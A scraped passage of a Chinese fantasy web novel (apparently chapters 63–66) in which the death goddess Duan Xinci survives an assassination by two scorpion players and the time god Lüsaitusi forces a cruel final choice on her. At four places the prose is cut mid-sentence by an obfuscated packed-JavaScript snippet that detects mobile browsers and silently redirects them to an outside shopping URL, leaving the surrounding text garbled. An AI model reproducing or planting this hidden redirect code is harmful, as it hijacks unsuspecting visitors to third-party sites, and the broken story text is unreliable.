它变得和过去每一个融进代号十,作为副本存在的那些小世界一样扭曲、狰狞、满是恶意。 每一寸土地都被荒诞的畸形填满。 段心慈再次来到这个时间节点,世界核心的所在处。 原本禁锢、承载蓝海与胎儿的「水缸」早已破碎。 靴底便踩进孕育腐烂的灰水中,滑腻的水声让灵魂不安。 大小各异的透明容器碎块在灰色的宫殿里断裂横陈。 除了各式各样的灰色,暗角里还有纯粹的黑色。 然后,这里不再有其他色彩。 段心慈下意识摸向自己的眼睛。 抬起的手僵在半空,最后缓缓垂下。 在玻璃碎裂的倒影里,她看见自己眼中的灰色几乎要与这座宫殿融为一体。 而黑色从来是沉重的,没有一丝反光。 跳跃的猩红被紧锁其中。 至此灰与红永远相隔,永不交汇。 “……” 「胎儿」安静地躺在宫殿中央,气息孱弱。 失去赖以生存的蓝海,它深陷窒息的痛苦却仍然活着。 扁而长的沉重鳍状肢无力地贴在地面。 尽管姿态匍匐、奄奄一息,却并没有彻底死亡。 机械的组织从它体内开膛破肚,紧紧绕住「胎儿」细嫩的脖颈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533117|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 像脐带,又像绞索。 段心慈走上前。 世界核心用尽全身的力量睁开单侧的双眼—— 一只属于哺乳动物的竖瞳,此刻已经扩散成将近完美的、温顺的圆形。 浑浊的眼里是无声哀求。 另一只属于昆虫,由密密麻麻的小眼组,成本该清亮的复眼……如今却满是正六边形的缺口。 尽管如此,它依旧无时无刻不充斥着冷凝与讥诮。 段心慈单膝下跪,伸出手掌—— 温冷的掌心覆盖那只已经扩散,毫无生机的兽瞳。 眼睑阖上。 就在青年伸手去触碰昆虫的复眼时,猛烈的劲风自身后刮过—— 转身的刹那,她与【生者】那双黄棕色的、蝎子的眼睛对上。 嘉里亚·涅挪自尾椎延出的沙色蝎尾,闪着寒芒的毒钩已经高举过他头顶。 径直刺下—— 段心慈避开【生者】的毒钩,悄无声息地将战场拉离世界核心所在的位置。 对上死亡之神,杀欲暴涨,与野兽无异的眼瞳—— 灰水溅起【生者】对死亡,封尘的恐惧。 嘉里亚不想、也不能退。 毒钩再次甩出,玄发青年闪身躲过的同时一手扼住嘉里亚的脖颈,将对方狠狠掼在地面。 双方的实力差距犹如天堑。 尽管身处时间领域,死亡的神祇依旧能轻而易举将【生者】置于死地。 嘉里亚·涅挪不会不清楚这点。 “为什么?” 段心慈想不通。 不论是【死者】还是【生者】都不曾与自己结下过仇怨。 反之,换做这里站的是【织觉人】,她一定毫不意外。 面对段心慈的问题,【生者】沉默许久。 “……哪有这么多为什么?” 棕黄色的眼瞳盯着段心慈靴面上的灰色污渍,嘉里亚·涅挪声音无谓道:“想做就做了。” ‘……怎么可能。’ ‘是「柩」亲口说,祢会在不久的将来杀死代号十里的所有活物。’ ‘包括我,也包括姐姐。’ ‘我们已经别无选择了。’ ‘二十年寿命换来的消息…’ ‘却成为敲响丧钟的撞槌。’ ‘杀死祢,或被祢杀死。’ 【生者】抬起眼,平生第一次直视玩家榜TOP.1—— 【神的怨、憎、恶】的脸。 站在他眼前的,是让时间也避而不答的灵魂。 他总要有个抉择。 段心慈:“……” 她知道自己生灵缘一直很差。 但究竟是什么时候起,已经差到对方毫无目的,宁愿死亡也要来杀死自己?! 嘉里亚·涅挪的话不一定可信。 ‘不一定…可信……的…’ ‘……对吧?’ “……” 关于这件事,段心慈完全自信不起来。 她看不见的身后,时间的裂隙悄无声息地打开—— 【死者】的站位几乎完全贴上段心慈的后心。 蝎子身上没有逸散出半点属于活物的气息。 棕黄色的眼瞳竭力放空,所有的目光和杀意都被尽数收敛。 一对冰冷奇异的螯肢连接在维莉亚·涅挪肩膀两侧。 天生的武器取代原本常用的人体结构。 属于【死者】的螯肢缓缓抬起…… ‘嗤——’的一声,是血肉被穿透的声音。 【生者】从方才起,自始至终没有抬起头猛地抬起。 死亡之神胸腔里温冷的血液溅在嘉里亚·涅挪棕黄色的瞳仁上,为【生者】的视野蒙上一层鲜红的阴翳。 【死者】锐利的螯肢自后向前扎透段心慈的左胸。 玄发青年身后是维莉亚·涅挪颤抖的身躯以及泪水滚落的潮湿。 “……你哭什么啊。” 死亡之神半是哀叹:“我的心脏,昨天就碎掉了。” 它随爱人的存在一同逝去。 而另一颗心脏,仍然在她的母宫里,强劲有力地迸发着新鲜的血液。 执行它自我的意志。 维莉亚·涅挪难以置信地抬头。 一击不成,她深知以自己的能力绝不会再有机会对段心慈造成伤害。 青年将【死者】的螯肢从自己后心狰狞的血窟窿里拽出。 黏腻、鲜红的血大量涌出。 维莉亚下意识抿去溅在自己嘴唇上,属于死亡的血液。 “所以,现在可以告诉我……” 神祇转过身,询问:“为什么要杀死我吗?” 63.殊途同归的世界 段心慈是真心觉得疑惑:“我不记得与你们结过仇。” ‘总不可能又是一个【摇篮】吧?’ 况且没记错的话—— 她在寰宇失忆期间还帮过这位【死者】一把。 ‘何止是没有结过仇……’ 维莉亚·涅挪心下哑然:‘那是救命之恩。’ 【死者】下意识去摸口袋里的药片板。 意识到自己在做什么的毒蝎苦笑一声,螯肢重新变回人类手臂的模样。 举起双手,将身体靠在宫殿湿冷的大理石墙壁上:“我选择投降。” 死到临头维莉亚·涅挪已经不再恐惧,尘埃落定的那刻反而有种难以言喻的安全感。 她甚至有心情欣赏起即将把自己变成尸体的凶手的脸来。 死意与对杀戮的渴望融汇形成独特的气质,是完全不损美貌,极具攻击性的长相。 这种气质用维莉亚·涅挪自己的话来形容就是—— 能被段心慈亲手杀死,已经是一种至高无上的荣耀。 良心上的谴责已经过去,现在是神祇对她的审判时刻。 【死者】心甘情愿。 屈膝坐在黏稠的灰水里,她对段心慈坦诚道:“祢杀了我吧。” 段心慈:“……?” * 世界时间线外。 艾里门·歌德深棕色的右眼一直盯着玄发青年的大屏幕。 见到段心慈重伤,她简直恨透了【死者】和【生者】。 早知道他们怀着让段心慈死的心思,那天在牢房里就该直接杀死他们! 就算被段心慈讨厌又有什么关系? 总比现在这样好! 察觉到身边刺骨的恨意,忒尼斯·厄洛诺斯无意识地摇了摇手里的爆米花桶。 祂实在搞不明白,代号十里受点重伤不是很正常的事情吗? 谁不是被开膛破肚,流血流泪走过来的? 但转念想到被段心慈报复到失去左眼的【预言师】,狐蛇又觉得自己不是不能理解。 将目光从事已定局的左侧大屏移开,忒尼斯·厄洛诺斯津津有味地看着中间还在玩创世模拟器的谢挽非。 以及右侧大屏,即将被架上火刑架,在面向全世界的直播里被活活烧死的顾屿—— 分身。 “这就是生活啊。” 狐蛇边是感慨,边顺手塞了颗爆米花喂给眼馋不行的2号。 2号嚼了嚼,发现这颗爆米花根本没爆! “……嘶!嘶嘶!” ‘硌蛇的牙。’ 看见被硌到毒牙的2号,艾里门·歌德挑出一颗爆开的爆米花递给这头蝰蛇。 ‘……真可怜。跟着馋嘴的主脑,估计平时想吃到什么好的都很难。’ 2号感激涕零地卷走爆米花。 狐蛇全当没看见。反正2号吃进嘴里的东西最后还不是要落到她胃里。 她扭头问身边的人:“你猜段心慈会不会杀他们?” ‘段心慈做事祢问我?’ 艾里门·歌德把吃剩一半的爆米花桶还给狐蛇。 “要不要我们打个赌?” 忒尼斯·厄洛诺斯完全没有被隐晦拒绝的觉悟:“我赌段心慈不会杀死他们俩个。” “用活物的性命打赌。” 艾里门·歌德用‘简直莫名其妙’的目光看了忒尼斯一眼:“祢还是和以前一样没礼貌。” 忒尼斯·厄洛诺斯:“……” ‘忘了,子肖其母。’ ‘不对啊!’ ‘那为什么我和艾维斯怎么一点也不像?’ 狐蛇不理解。 与此同时,位于中间屏幕上的第八幕-【完美世界】—— 【主角】创造的世界里,城市繁华。四处都是欣欣向荣的生机。 所有人的脸上都洋溢着如出一辙的笑容。 没有不幸。 没有哀伤。 没有苦难。 一个毫无瑕疵的世界。 没有任何人发现任何不对劲。 理所应当,也就没有末日降临的那天。 谢挽非终于玩腻了她的创世游戏,不愿再维持想象。 于是少年面前刚刚建成的完美世界开始一寸、一寸崩塌,直至重归虚无。 “总把希望寄托在别人身上……” 谢挽非叹气:“是一定没办法成长的吧。” 就像她和段心慈。 不自觉的依赖,哪怕只是感情上的…… 也应该尽早斩断才对。 尽管那人亲口告诉她三代已死,但… 对于生在寰宇的人类来说,真的很难遗忘她的姓名啊。 谢挽非最后抬头看向由自己创造的蓝天,闭上眼睛—— 第八幕的世界正在疯狂解构。 完完全全属于谢挽非的世界……才刚刚开始搭建。 副本破碎。 谢挽非大步向前。 右侧荧幕—— 第九幕-【无穷已知】。 顾屿站在高楼之上。 狂风拂乱她漆黑的短发,颈间的小鱼吊坠却纹丝不动。 如果,她让这个世界上的所有人,都提前知道世界末日降临…… 结局会是如何? 现在顾屿知道结局了。 伤痕累累的分身被架上火刑台,高温里火舌在那具虚假的躯壳上肆虐。 他们不是不相信预言。 只是有时候,活在当下也是不错的抉择。 【预言师】扯开唇角放肆的笑容。 在「台下」的观众们看不见的地方,她微微弯腰,单手抚胸行了一个优雅的谢幕礼。 “预言会宽恕一切。” 她自高空跌落。 铺天盖地的陨石随她的真身一同砸下。 灼灼燃烧的分身瞬间碾作一摊血肉烂泥。 顾屿扶正自己宽大的帽檐。 阴影下仅剩的暗紫右瞳熠熠生辉。 “但我不会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533296|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第九幕-【无穷已知】副本世界落幕。 “顾小鱼,我已经在期待与祢重逢。” 属于预言之神的诅咒之神。 “我们天生一对。” ‘……顾屿,别念你那个破台词了。’ 正在观看觐神宴的黑猫紧紧咬着自己的尾巴尖。 T.T-Carro的口腔里全是血液腐烂的味道,它却浑然未觉。 ‘我闯大祸了。’ * 左侧荧幕内。 段心慈垂目看着等待赴死的维莉亚·涅挪,以及她身边同样姿态的【生者】…… “降者不杀。” 没有读懂,也不在乎那些不属于她的复杂情绪。 段心慈越过【死者】与【生者】,径直走向濒死的世界核心。 半跪在核心灰败的庞大躯体旁。 祂脱下外套盖在那只冷凝、讥诮的复眼上。 隔绝了「胎儿」看向外界的最后一丝光亮。 ‘快了。’ 随着世界核心彻底死亡,意识泯灭,第七幕副本【机械废土】也随之崩塌。 ‘……绿赛图斯。’ ‘祢无法逃避死亡了。’ 段心慈毅然决然走出副本的世界。 她不曾回头,因此也未能看见—— 身后【死者】与【生者】交换的,一个不带任何情欲的吻。 嘉里亚·涅挪温柔地看着维莉亚:“我不是你的亲弟弟……是吗?” 【死者】没有回答他,只是用力加深了这个血腥的吻。 就像维莉亚知道嘉里亚的灵魂还在这副躯壳里一样…… 嘉里亚知道,维莉亚知道自己的灵魂没有逝去。 他只是心甘情愿被操纵。 维莉亚也清楚这一点。 但她不玩生死一线考验真心的游戏,于是TOP.8【死者】身边多出一具完全由她双手掌控—— 称作【生者】,位列玩家榜TOP.9的傀儡。 良久,维莉亚·涅挪擦去唇边斑驳的血迹。 带毒的锋利指尖划过嘉里亚·涅挪的脸颊:“是。” 是与否,都不在有意义了。 性食同类,是属于蝎子的死亡仪式。 只在他们身上更加残忍。 无论是哪一方,一吻过后都必将走向命定的死亡。 这是属于【生者】与【死者】共同的——异化。 暗角里。 红、绿、蓝…三色的飞萤缓缓爬出,停驻在两具逐渐失温的尸体前。 “虽然,我的确不会给你们活下去的机会。但——” 虫翼在翅鞘下颤动,模拟出类似话语的古怪腔调:“自杀这种事,并不是很受用呢。” ‘没用的废物。’ 是「柩」。 至此,觐神宴三幕同时通关。 无一例外—— 【评级:F-。】 【达成副本成就——】 【殊途同归。】 64.四分五裂的世界 段心慈踏出第七幕副本的下个瞬间,浩瀚的星空映进眼底。 死亡之神静静悬浮于其中,而绿赛图斯就站在祂身旁。 二者目光是如出一辙的冷漠,谁也没有出手。 “还以为能骗祢出手。” “不过想想也是。能把我逼到这个地步……又怎么会是莽撞的性格。” 时间示意段心慈看清祂们所在的星空:“有没有觉得很眼熟?” “……” 寰宇。 编号#07的秩序型星际世界。 她的世界。 ……她的来路。 “祢应该认得出吧?” 时间之神不知从哪儿变出一套下午茶桌椅。 祂施施然地拉开椅子坐下,端起热气蒸腾的咖啡:“不过这里是幕间。” “代号十的幕间,死亡无法带走我。” “所以,祢不如跪下来求我来开启第十幕?” 绿赛图斯忽视耳边时间之灵嘲讽自己患上拖延症的刻薄笑声,掀目看向段心慈。 那双眼睛里,是和戏谑话语格格不入的冷漠。 玄发青年的回应直截了当。 她走到绿赛图斯面前,抓住祂的咖啡杯猛地向上一抬—— 不开启没关系,祢也别想在这里好过。 ‘杀不死祢,还打不得吗?’ 这样想着,段心慈按住绿赛图斯的后脑勺往下一掼,砸向桌面。 桌面瞬间开裂。 绿赛图斯一个踉跄,好歹是没有摔倒。 时间之神低头看见自己身上被咖啡淋湿,变得黏糊糊的绸缎。 银白的长发也被咖啡打湿,一绺一绺贴在脸颊上。 想到段心慈身上还有一个胜利之神的神座,而自己却在不到百年的时间里接连损失一百四十五万场世界副本有余…… 可以说,祂以现在的实力对上段心慈毫无胜算。 沉默寡言的神祇数量从一变为二。 “好吧。其实原本第十幕并非是你的世界。” “该说那个世界意识天真好,还是愚蠢好?” 绿赛图斯手中变出一颗苹果,原本颜色鲜艳、健康的果实被密密麻麻的白色蚁群覆盖。 “在意识到错误后,它居然妄想从我这里换回祢。” 两千岁的世界意识对上亿万年岁的时间之神,只有被活活玩死的份。 绿赛图斯松开手。 于是那颗苹果被时间之神当着死亡的面,从半空跌落。 段心慈下意识伸手去抓,然而白蚁覆盖的苹果,下坠的速度远比死亡更快。 苹果砸在看不见的边界。 然后是一声脆响。 她的世界,四分五裂。 “真可怜啊。” “祢对那个频频添乱的世界意识……没有执行死亡的欲望呢。” 所以说,没有杀欲的死亡,永远赶不上时间。 只有在执行死亡的时刻—— 祂的速度才能够在一切有形的、无形的空间中无可匹敌。 “段心慈。” ‘我这漫长的一生或许就要终结在祢手中。’ 时间对死亡说:“去面对祢的第十幕剧场吧。” ‘死亡的神祇。’ ‘祢也休想…休想在时间里……全身而退。’ 第十幕-【荣耀加身】 【祢功成名就。】 【剧场任务:抉择。】 街角昏暗。 段心慈站在熟悉的莫克贝尔中心区。 “世界意识死亡意味着什么的……想来第七幕会给祢留下相当深刻的印象。” “说起来祢作为玩家,对另外两个结局也应该有知情权才是。” 隔着世界壁垒,绿赛图斯滔滔不绝地演讲起来:“谢挽非亲手毁了她创建的世界。” “不过这不奇怪。” “【预言师】可是当着所有原住民的面上火刑架了。” ‘只不过是分身。’ 不过这一点没必要说出来。 “祢应该猜得到,这个副本是什么内容吧?” 段心慈全身骨骼僵硬一瞬,寒意几乎冻结祂每一寸神经。 “其实只是让祢做个选择而已。” “我已经告诉了这片星空里——但凡是有智慧,会思考的生命。” “祢,段心慈,曾经人类的三代会长,这片宇宙曾经的无冕之王回来了。” 绿赛图斯对自己计划已久的行为艺术十分满意。 “我向它们宣布:三天内,只要它们有其中任何一位想要祢留下,祢就永远不能离开这一幕。” “只要想,甚至不用说出口。” 万一是哑巴、社恐呢。 时间觉得还是把范围扩大一些比较好。 “……所以,另一个抉择什么?” 段心慈声音沙哑。 “哈哈哈,蠢货绿赛图斯!” 时间之灵狂笑不止:“祂已经在考虑另一个选项啦!” 时间的主神还以为段心慈至少会失意一会儿,这样自己就能多快活一阵子。 祂百无聊赖地坐在时间神座上,耳边是灵无时无刻的讥笑。 “没什么,祢只要杀死这里的全部就够了。” 祂对段心慈说:“记住、是全部。” ‘真没意思。’ “我猜不用我教战功赫赫的三代会长做这件事吧?” “斩草除根。” “对身为死亡的祢来说多简单啊!” ‘……还以为多少会看到祂挣扎一下,掉两滴虚情假意眼泪下来。’ “快点动手吧,别等会儿有谁许愿比祢杀得还快。” 绿赛图斯语气轻飘飘的:“那就太遗憾了。” 祂没有说的是…… 自己已经把段心慈必须要做的选择广而告之。 也就是说,此时此刻这片宇宙里所有拥有智慧的生灵都知道—— 段心慈只要杀死它们全部,就可以平安离开。 时间主神依旧是玩弄心计的一把好手。 绿赛图斯离开,将这片场地留给死亡的神祇发挥。 但时间没有。 它还在滴滴答答地向前走着。 永远被困。 亦或是……杀死全部。 ‘……真的相信这里没有对祢心怀怨恨的灵魂?’ 段心慈蜷缩在巷子里,路灯照不到的地方,祂不免想起宋朝路日记里的最后一页—— ‘血债要用血来偿’。 那句话…大概,是真的。 有些难过。 她的胸腔发闷,带着不明显的滞涩。 ……就这样吧,在这里审判我的罪。 段心慈想着:‘我不辩解那些血债。’ ‘因为的的确确是我亲手杀死的……’ ‘永远洗不净的。’ 时间也无法无中生有。 段心慈清醒地明白,这是她成为死亡之神,必须要经历的裁决。 ‘我认命。’ 三天内…… 无论发生什么,她都不会迈出这个巷子一步。 此刻青年有些庆幸,她对自己有足够清醒的认知。 没有那二分之一的灵魂做枷锁,恐怕她迈开腿的下一秒就是把这里变作血海地狱。 靠在被夜雾打湿的小巷砖墙上,死亡之神笑了一下。 ‘绿赛图斯,祢真有意思。’ 祂对自己突如其来的释怀感到惊讶。 完全不知道这个世界上还有一种状态叫作—— 气疯了。 * 绿赛图斯打定主意等到三天后再去欣赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533641|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的艺术成果。 此刻坐在祂对面的是利益的拥趸,诡计之神——忒尼斯·厄洛诺斯。 厄洛诺斯的大半张脸都被如雾似幻的浅蓝发丝遮盖,粉和橘色的挑染与霞光相仿。 朦胧的美感在这张脸上体现得淋漓尽致。 祂随意搅了搅面前杯子里的速溶咖啡,抬头看向代号十的主神。 坐在狐蛇对面的绿赛图斯完全没办法对这张脸产生任何欣赏之情。 很久以前—— 在段心慈没有进入代号十,强迫忒尼斯穿上衣服之前…… 绿赛图斯还没有患上‘穿搭歧视’这种病。 眼下…那条源自艾维斯·厄洛诺斯的珍珠项链,恐怕是【织觉人】身上唯一符合祂气质的物品。 想到这里祂也搅了搅自己面前的速溶咖啡。 而忒尼斯觉得绿赛图斯简直莫名其妙: ‘第十幕就是把每个玩家叫出去单独开小会?’ 轮到自己,绿赛图斯又低着头不看人。 ‘不礼貌。’ 祂下意识这样想。 绿赛图斯见狐蛇完全没有先行开口的意思,心理有些扭曲。 段心慈对祂不客气也就罢了,一个利益的附庸也敢下自己面子? “我要祢去杀死段心慈。” 时间之神堵死诡计会拒绝的理由:“我会提供一切必要的帮助。” “……不去。” 忒尼斯·厄洛诺斯将杯子里的速溶咖啡一饮而尽。 她拒绝得干脆利落:“我把段心慈杀死之后,下个被祢杀死的就是我。” 绿赛图斯噎了一瞬。 祂忘了,坐在对面的是诡计之神。 所有阴谋,在祂眼底都无所遁形。 时间之神决定换个方向策反狐蛇:“祢知道【死者】和【生者】为什么要去刺杀段心慈吗?” 忒尼斯诚实地摇头:“不知道。” 事实上她对此也深感疑惑。 总不能是段心慈已经遭生灵厌恶到这种程度了吧。 别说,还真有可能。 “他们用二十年寿命从「柩」那里换来一个……未来必定会发生的事实。” 绿赛图斯饮了一口咖啡。 那双无情的眼珠死死盯住忒尼斯·厄洛诺斯脸上的每一寸表情,不肯放过。 “作为死亡之神的段心慈,会杀死代号十内的全部。” 狐蛇的眼底闪过一丝不可置信,尽管很快归于平静,依旧被时间之神捕捉。 绿赛图斯:“祢现在知道我为什么一定要杀死段心慈了吗?” “……” 狐蛇的大脑飞速运转,「柩」的存在不是秘密。 但直接与它对接的,向来只有历届玩家首席。 就连段心慈消失后,【主教】依旧没有资格得知「柩」的真实身份。 忒尼斯心底悄悄埋怨了一下艾维斯: 为什么不能像段心慈一样争气,拿个TOP.1的席位坐一坐。 这样她凭着传承记忆也不至于在这时候抓瞎。 可以说「柩」是整个代号十里最接近TOP.1的存在,历届首席的心腹都是它。 然而首席会死,会下落不明。 但「柩」不会。 它永远在那里,永远注视着所有玩家。 它不做预言。 它只以陈述过去的方式……看见未来。 忒尼斯·厄洛诺斯感到一阵彻骨的寒意从心肺里蔓延、冻结。 她不会去怀疑「柩」。 所以……绿赛图斯到底有没有在欺骗自己? 像是看出祂所想,时间之神话语间尽是笃定:“这件事,不存在欺骗。” 诡计没有在对面神祇身上看见谎言的存在。 忒尼斯·厄洛诺斯却因此更加心冷。 65.过往背叛与谎言 “与我合作。” 绿赛图斯态度志在必得:“杀死段心慈,我可以让祢直接离开代号十。” 这倒也勉强算得上真话。 利益的从属,无论从哪个方面看,都无法对时间构成威胁。 哪怕眼前这头厄洛诺斯的恨意再深,依然无济于事。 绿赛图斯不介意在心情好的时候,做出恰到好处的施舍。 忒尼斯·厄洛诺斯低下头,目光凝视着面前空荡的陶瓷杯。 接着,是长久、窒息的沉默。 在这样的氛围里,时间一点点变得冷却。 忒尼斯能清晰地感受到源自绿赛图斯的刺骨杀意。 并非是对着不在场的段心慈。 那是针对她忒尼斯·厄洛诺斯的……真切杀意。 厄洛诺斯知道:她再不答应—— 恐怕时间的主神就要提前对自己下手了。 而她和时间的差距,就如同【死者】面对段心慈一样毫无还手之力。 区别在于绿赛图斯不会说出那句或许,不,是一定…… 一定会震撼她余生的‘降者不杀’。 按祂的神座而言,此刻应下与绿赛图斯的合作实在是再正确不过的选择。 时间里,诡计存在,转机存在。 忒尼斯有一刻完全相信—— 如果刺杀失败,只要将今日之事全盘托出,段心慈也绝对会宽恕她。 想明白这点的她彻底放松下来,向椅背上一靠。 细软蓬松的蓝发随着动作散开,露出修长不乏力量的脖颈。 散开光晕的珍珠颈饰与下方粗糙的缝合痕迹一同出现,好似两串叠戴的项链。 忒尼斯·厄洛诺斯懒散地坐在椅子里,抬眼看向眼前逐渐杀意滔天的绿赛图斯。 ‘现在突然反悔还来得及吗?’ ‘显然来不及了。’想到这里她毫不客气地笑出声来。 “绿赛图斯。” 狐蛇直呼时间的名讳:“和我说了这么多……那祢知道我脖子上的这道缝线是怎么来的吗?” 她用指尖轻点自己脖颈上毫无美感,用丑陋粗糙来形容也毫不过分的疤痕。 绿赛图斯实在太想让段心慈死了。 日益增长的恐惧与仇恨让祂不愿意放弃,哪怕一丁点与诡计之神结盟的可能。 是以祂只好咬牙切齿地顺着忒尼斯的话说下去:“不知道。” 除了被差点砍掉脑袋以外,时间不作另想。 “段心慈帮我缝的。” 狐蛇轻描淡写地抛下一颗炸弹,绿赛图斯却险些吐出一口瘀血。 ‘那个变态还会做慈善呢?’ 与‘脑袋不是她砍下来的就不错了。’ 两种念头交错,绿赛图斯感到被欺骗后产生的严重荒谬感。 “祢——!” “当然不是段心慈砍下来的。” 看穿时间的腹诽,忒尼斯·厄洛诺斯好似完全没有我为鱼肉的自觉。 依旧在不遗余力地说着:“我那时又没有招惹她,她也不是精神变态。” ‘再多说些话……’ ‘是不是绿赛图斯去找其余玩家的时间就能被我拖延?’ 在今天之前,冷血的狐蛇从来没有想过…… 自己有一天会为了别的什么灵魂,选择牺牲自己。 但现在说这些为时过晚。 代号十开出的条件太丰厚了,论起威逼利诱,祂向来是这方面的老手。 狐蛇不知道别的玩家会不会像自己一样选择保住段心慈,所以她一拖再拖。 ‘至少,要尽力拖到段心慈那边尘埃落定吧……’ 想到这里,诡计之神看向绿赛图斯的目光里已经全是孤注一掷的疯狂。 “是【主教】的狗啊。” “【主教】是极夜的狗,极夜又是祢的狗,算起来也是祢的授意了!” 绿赛图斯:“……?” ‘我的?授意??’ “他砍下我的头颅!仅仅连着薄薄一层皮!” 忒尼斯·厄洛诺斯神情癫狂。 演绎是一部分,但时至今日她仍记得那些过往与屈辱。 ‘大声地喊出来吧。’ ‘我不甘心、不甘心沉寂地走进死亡。’ ‘时间若要碾碎我!就必须见证我的过往!’ “绿赛图斯,祢知道祢的垃圾场吗?那简直是整个代号十最大的败笔。” “恶心。” “我就瘫在那堆尸体、油脂、碎块里整整半个月!太恶心了!” 忒尼斯·厄洛诺斯忘不掉,忘不掉自己被迫仰望垃圾场上空,永远一成不变的阴天。 苍蝇和腐蛆爬满她千疮百孔的身体,停留在脸上。 颈椎早已和大脑断开连接。 彼时的厄洛诺斯连抬起一根手指都做不到,更遑论驱赶蝇虫。 又有所谓的‘垃圾’倾倒在身上。 她浑身散发着自己难以忍受的、腐烂的恶臭。 是尸体的气味。 她却不能酣畅淋漓地呕吐一场。 “段心慈看见我,向我走过来。谁让我就躺在她家门口不远的地方!” 时至今日……忒尼斯·厄洛诺斯对那天的青年仍旧抱有恐怖的恶意。 “那时候她只是可怜的TOP,呸!No.51。” 一双温冷的手扶起她的头颅,目光像在看毫无生气的摆件。 瘫痪在垃圾堆里,【织觉人】并不觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533642|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人会是来救自己的。 多半来自某个没被她放在心上的仇家。 ‘你是要羞辱我吗?’ 濒死的狐蛇看向段心慈,眼里流淌出她自己也不甚清楚的恶毒。 段心慈用手指摸了摸她脖颈的断口,然后在对方阴翳的注视下从衣兜里掏出一盒崭新的针线。 青年当然认识【织觉人】。 玩家榜TOP.3。 狐蛇的首领,忒尼斯·厄洛诺斯。 对于在自己家门口发现来路不明的尸体这类事,段心慈早就习惯。 但忒尼斯·厄洛诺斯不一样,她还活着。 虽然这副模样看上去和尸体没什么两样,但至少有本质上的区别。 艾里门·歌德身上的烧伤开裂严重。 没有感染,但也不能一直保持皮肉外翻的状态。 她本是想直接买来针线给艾里门·歌德缝合的,但眼下有一个送上门练手的机会。 玄发青年:何乐而不为呢^^。 于是忒尼斯·厄洛诺只好能眼睁睁地看着对方把她沉重的躯体抬起。 脖子和脑袋粗略对接了一下,然后就放在岔开的膝盖上开始一针一线地缝。 【织觉人】完全不敢动。 当然也完全不感动。 彼时她的狐狸脑袋里只有一个念头:‘完蛋,遇到疯子了。’ 厄洛诺斯想过一万种可能性: 比如对方会在最后还差那么一点儿的时候开始羞辱自己,把缝合线拆散。 让自己的脑袋彻底断掉。 嘲笑一番后让她继续以丑陋的姿态瘫在这座垃圾场里。 又或者从冷淡的嘴唇里吐出挟恩图报的话来—— 这已经是最好的揣测。 但是没有。 什么都没有。 身穿深灰长款大衣的青年只是缝好自己的脑袋,然后用让狐蛇毛骨悚然的目光端详了一阵自己亲手缝合的痕迹。 段心慈对自己的缝线技术很满意。 将逐渐恢复身体控制权的忒尼斯·厄洛诺斯放在一处略显干净的地方。 随后转身走进自己的家门。 开门、关门,动作行云流水,半点留恋也无。 自始自终,她们一句交流也没有。 再次见面时,对方已经是玩家榜赫赫有名的TOP.10-【暴君】。 而比起【暴君】,忒尼斯·厄洛诺斯先一步认识的却是段心慈。 不是名不见经传的No.51,不是从TOP.10爬到首席之座的【暴君】。 也不是饱含绿赛图斯恶念的【神的怨、憎、恶】。 仅仅是作为段心慈这个灵魂。 “我当然可以背叛她。” 66.我的尸山血海里 ‘我可以恩将仇报!我可以背信弃义!’ 这是所有厄洛诺斯与生俱来的品质。 狐蛇趋于自毁,面目狰狞地看向时间之神:“但是绿赛图斯。” “我永远不会因为祢去背叛她!” 段心慈在时间放逐之地将她拼凑,给予她第二次生命。 至此在忒尼斯·厄洛诺斯的眼中,这个人不啻活着的艾维斯。 绿赛图斯眼底划过一丝遗憾。 为祂与诡计之神之间注定无法结盟,同时也遗憾当初如果自己先一步救下这头狐蛇—— 今天的局面是不是会不一样? 还有一点微妙的,说不清道不明的怜悯。 这头即将被自己杀死的狐蛇,祂根本不知道,在说出‘我当然可以背叛’的时刻…… 那双朦胧的眼瞳里,是镌刻清晰的‘永不背叛’。 ‘既然如此,我们的谈话理应终止。’ 时间之神缓步走到忒尼斯·厄洛诺斯身后站定。 